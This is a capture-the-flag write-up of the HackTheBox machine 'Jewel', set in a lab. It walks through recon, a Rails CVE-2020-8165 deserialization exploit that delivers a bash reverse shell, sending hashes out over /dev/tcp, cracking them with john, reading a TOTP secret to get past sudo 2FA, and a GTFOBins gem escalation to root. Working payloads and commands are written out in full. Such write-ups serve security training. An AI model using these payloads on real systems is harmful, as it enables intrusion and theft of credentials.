Home Hackthebox - Jewel
Post
Cancel

Hackthebox - Jewel

x00tex

Scanning

Nmap

ports=$(sudo nmap -p- --min-rate=1000 "$1" | grep open | awk -F / '{print $1}' ORS=',') && sudo nmap -p$ports -sV -sC -oN nmap.txt "$1"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA)
|   256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA)
|_  256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519)
8000/tcp open  http    Apache httpd 2.4.38
|_http-generator: gitweb/2.20.1 git/2.20.1
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.38 (Debian)
| http-title: 10.10.10.211 Git
|_Requested resource was http://10.10.10.211:8000/gitweb/
8080/tcp open  http    nginx 1.14.2 (Phusion Passenger 6.0.6)
|_http-server-header: nginx/1.14.2 + Phusion Passenger 6.0.6
|_http-title: BL0G!
  • Port 8080 is a BLOG! webapp and port 8000 containts the source code of the webapp.
  • we can greb the git repo from http://10.10.10.211:8000/gitweb/?p=.git;a=snapshot;h=5d6f436256c9575fbc7b1fb9621b18f0f8656741;sf=tgz master commit snapshot.
  • get git-5d6f436.tar.gz archive file.

source code enumerating

  • extracting the archive

    ❯ tar -xvzf git-5d6f436.tar.gz

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    
    ❯ tree .git-5d6f436
        ├── app
        |
    ... [snip] ...
        |
        ├── bd.sql
    
    ... [snip] ...
    
          47 directories, 116 files
    
  • Found 2 usernames and password hashes in bd.sql file

    1
    2
    3
    4
    
    ❯ grep -E "bill"\|"jennifer" bd.sql
    
    1       bill    bill@mail.htb   2020-08-25 08:13:58.662464      2020-08-25 08:13:58.662464      $2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW
    2       jennifer        jennifer@mail.htb       2020-08-25 08:54:42.8483        2020-08-25 08:54:42.8483        $2a$12$ik.0o.TGRwMgUmyOR.Djzuyb/hjisgk2vws1xYC/hxw8M1nFk0MQy
    
    • hashes are not crackable.
  • this webapp written in ruby and there is a tool that can scan for potential vulnerabilities in ruby project - brakeman
    • but the tool don’t find any useful vulnerabilities.
  • viewing the gemfile which contains all require dependencies for the project found the ruby rail version:

    1
    2
    
      ❯ grep -n rail Gemfile
      7:gem 'rails', '= 5.2.2.1'
    
  • viewing the release notes this version is released on March 13, 2019 and there is a de-serialization vulnerability in the rails < 5.2.4.3, rails < 6.0.3.1

    CVE-2020-8165: A de-serialization of untrusted data vulnerability exists in rails < 5.2.4.3, rails < 6.0.3.1 that can allow an attacker to un-marshal user-provided objects in MemCacheStore and RedisCacheStore potentially resulting in an RCE.

    Exploit PoC: masahiro331@github.com

  • rail May 18, 2020 release address this issue and from here found detailed document for this exploit

  • what this report says is that -

    There is potentially unexpected behavior in the MemCacheStore and RedisCacheStore where, when untrusted user input is written to the cache store using the raw: true parameter, re-reading the result from the cache can evaluate the user input as a Marshalled object instead of plain text. Vulnerable code looks like:

    1
    
    data = cache.fetch("demo", raw: true) { untrusted_string } 
    
  • verifying this in our code:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    
    ❯ grep -r 'raw: true'
    app/controllers/application_controller.rb:      @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) do
    app/controllers/users_controller.rb:      @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}
    
    ❯ sed -n 32,49p app/controllers/users_controller.rb
      def update
          @user = User.find(params[:id])
          if @user && @user == current_user
          cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://127.0.0.1:6379/0")
          cache.delete("username_#{session[:user_id]}")
          @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}
          if @user.update(user_params)
              flash[:success] = "Your account was updated successfully"
              redirect_to articles_path
          else
              cache.delete("username_#{session[:user_id]}")
              render 'edit'
          end
          else
          flash[:danger] = "Not authorized"
          redirect_to articles_path
          end
      end
    
    ❯ sed -n 29,40p app/controllers/application_controller.rb
      def current_username
          if session[:user_id]
          cache = ActiveSupport::Cache::RedisCacheStore.new(url: "redis://127.0.0.1:6379/0")
          @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) do
              @current_user = current_user
              @current_username = @current_user.username
          end
          else
          @current_username = "guest"
          end
          return @current_username
      end
    
  • viewing the code it is clear that somewhere in the username update field is vulnerable for this exploit.

User Exploiting

  • If we go to 10.10.10.211:8080 there is a signup option and create an account and go to profile there is a username update option http://10.10.10.211:8080/users/19/edit

  • Found the vulnerability and its location now time to exploit it.
  • For exploiting it we need to install rail console to create payload that specified in the PoC:
    • install the same Rail version that is vulnerable for this exploit.
  • starting console:

    1
    2
    
    $ bundle exec rails console
    irb(main):>
    
  • Creating Payload
    1
    2
    3
    4
    5
    6
    7
    8
    9
    
    code = '`/bin/bash -c "bash -i &>/dev/tcp/{IP}/4141 0>&1"`'
    erb = ERB.allocate
    erb.instance_variable_set :@src, code
    erb.instance_variable_set :@filename, "1"
    erb.instance_variable_set :@lineno, 1
    payload Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)
    puts "Payload"
    require 'uri'
    puts URI.encode_www_form(payload: payload)
    

this give us usr encoded payload.

  • start netcat, intercept the username update request in burp, past payload in username field and forward the request and then refresh the page and payload get execute and we get shell.

Privilege Escalation

  • Running linpeas with -a one funny thing happened i get sudo password of user bill:

    • but i don’t thing that this is the intentional way.
  • digging more i found a unusual file in /var/backups/ dump_2020-08-27.sql.

    1
    2
    3
    
    (remote) bill@jewel.htb:/var/backups$ grep -E "bill"\|"jennifer" dump_2020-08-27.sql 
    2       jennifer        jennifer@mail.htb       2020-08-27 05:44:28.551735      2020-08-27 05:44:28.551735      $2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
    1       bill    bill@mail.htb   2020-08-26 10:24:03.878232      2020-08-27 09:18:11.636483      $2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW
    
    • these hashes are different form last time and when try to crack them i successfully crack bill hash and get the same password that linpeas cracked.

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      
      (remote) bill@jewel.htb:/var/backups$ grep -E "bill"\|"jennifer" dump_2020-08-27.sql | awk '{print $2":"$8}' > /dev/tcp/10.10.15.71/4141
      
      ❯ nc -nvlp 4141 > hashes
      listening on [any] 4141 ...
      connect to [10.10.15.71] from (UNKNOWN) [10.10.10.211] 41058
      ❯ cat hashes
      jennifer:$2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
      bill:$2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW
      
      ❯ john hashes -w=/usr/share/wordlists/rockyou.txt
      <snip>
      ❯ john hashes --show
      bill:spongebob
      
      1 password hash cracked, 1 left
      

Root

  • running sudo -l with user bill password asking for Verification code.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    
    (remote) bill@jewel.htb:/home/bill$ sudo -l
    [sudo] password for bill: 
    Verification code: 
    You type like I drive.
    [sudo] password for bill: 
    Verification code: 
    Take a stress pill and think things over.
    [sudo] password for bill: 
    Verification code: 
    sudo: 3 incorrect password attempts
    
  • google tells me that sudo also have 2FA and that is enable here. found on this article
    • this article tells that sudo 2AF use pam_google_authenticator.so, and this module create a secret totp key file named .google_authenticator that use to create OTP.
    • this file present in bill home folder.
    • from this module’s git repo that this file .google_authenticator created when configuring 2FA and use as a secret for generating OTP

      1
      
      auth required pam_google_authenticator.so secret=${USER}/.google_authenticator
      
  • And bill home folder .google_authenticator file contains the totp code that use to create OTP:

    1
    2
    3
    4
    
    (remote) bill@jewel.htb:/home/bill$ cat .google_authenticator 
    2UQI3R52WFCLE6JTLDCSJYMJH4
    " WINDOW_SIZE 17
    " TOTP_AUTH
    
  • we can use that same code in any Oauth app to create that Verification code for sudo. i use this chrome authenticator addon
    • but success is not that easy, because in 2FA depend on clock time and if both ends time is diffrent while generating code it never works.
  • spend so much time try to sync with the box time and then found oathtool that run from terminal and create OTP using totp code.

  • My technique is to upload the oathtool in the box and run form the box so that i don’t need to sync box time and my machine time because i’m running on same box.
    • but this is not easy because oathtool is not a single executable binary file, it depends on some Shared libraries and while running the oathtool binary it give an error of missing library:

      1
      2
      
      (remote) bill@jewel.htb:/home/bill$ ./oathtool 
      ./oathtool: error while loading shared libraries: liboath.so.0: cannot open shared object file: No such file or directory
      
  • this binary expecting this:

    1
    2
    3
    4
    
    ❯ whereis liboath.so.0
    liboath.so: /usr/lib/x86_64-linux-gnu/liboath.so.0
    ❯ ls -la /usr/lib/x86_64-linux-gnu/liboath.so.0
    lrwxrwxrwx 1 root root 16 Feb  4 13:37 /usr/lib/x86_64-linux-gnu/liboath.so.0 -> liboath.so.0.1.3
    
    • But this is not available in the box.
  • So, to run oathtool successfully in the box we need to do some things before run it:

    1. upload liboath.so.0.1.3 library in the box, found here
    2. Create its symbolic link as liboath.so.0, learn about sym-links here
    3. set LD_LIBRARY_PATH to liboath.so.0.1.3 library location.
    4. run it.
    • upload both files in the bill’s home folder:

      1
      2
      3
      
      (remote) bill@jewel.htb:/home/bill$ ls -l
      -rw-r--r--  1 bill bill 83960 Feb 20 10:04 liboath.so.0.1.3
      -rwxr-xr-x  1 bill bill 80512 Feb 20 09:53 oathtool
      
    • create symbolic link:

      1
      2
      3
      
      (remote) bill@jewel.htb:/home/bill$ ln -s  liboath.so.0.1.3 liboath.so.0
      (remote) bill@jewel.htb:/home/bill$ ls -l
      lrwxrwxrwx  1 bill bill    16 Feb 20 10:07 liboath.so.0 -> liboath.so.0.1.3
      
    • setting LD_LIBRARY_PATH path to current folder:

      1
      2
      
      (remote) bill@jewel.htb:/home/bill$ LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/bill
      (remote) bill@jewel.htb:/home/bill$ export LD_LIBRARY_PATH
      
    • running:

      1
      2
      3
      4
      5
      6
      7
      8
      
      (remote) bill@jewel.htb:/home/bill$ ./oathtool -V
      oathtool (OATH Toolkit) 2.6.6
      Copyright (C) 2009-2021 Simon Josefsson.
      License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
      This is free software: you are free to change and redistribute it.
      There is NO WARRANTY, to the extent permitted by law.
      
      Written by Simon Josefsson.
      
  • Now the last thing is to generate code and check if it works.
    • code generated successfully:

      1
      2
      
      (remote) bill@jewel.htb:/home/bill$ ./oathtool -b --totp '2UQI3R52WFCLE6JTLDCSJYMJH4'
      015396
      
    • now time to send this code to sudo:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      
      (remote) bill@jewel.htb:/home/bill$ ./oathtool -b --totp '2UQI3R52WFCLE6JTLDCSJYMJH4' && sudo -l
      627580
      [sudo] password for bill: 
      Verification code: 
      Matching Defaults entries for bill on jewel:
          env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, insults
      
      User bill may run the following commands on jewel:
          (ALL : ALL) /usr/bin/gem
      
      • And successfully execute sudo command.

Root Exploting

  • User can run /usr/bin/gem as any user with sudo:

    exploit: sudo /usr/bin/gem open -e "/bin/bash -c /bin/bash" rdoc From gtfobins

    1
    2
    3
    
    (remote) bill@jewel.htb:/home/bill$ sudo /usr/bin/gem open -e "/bin/bash -c /bin/bash" rdoc
    root@jewel:/usr/lib/ruby/gems/2.5.0/gems/rdoc-6.0.1# id
    uid=0(root) gid=0(root) groups=0(root)
    
This post is licensed under CC BY 4.0 by the author.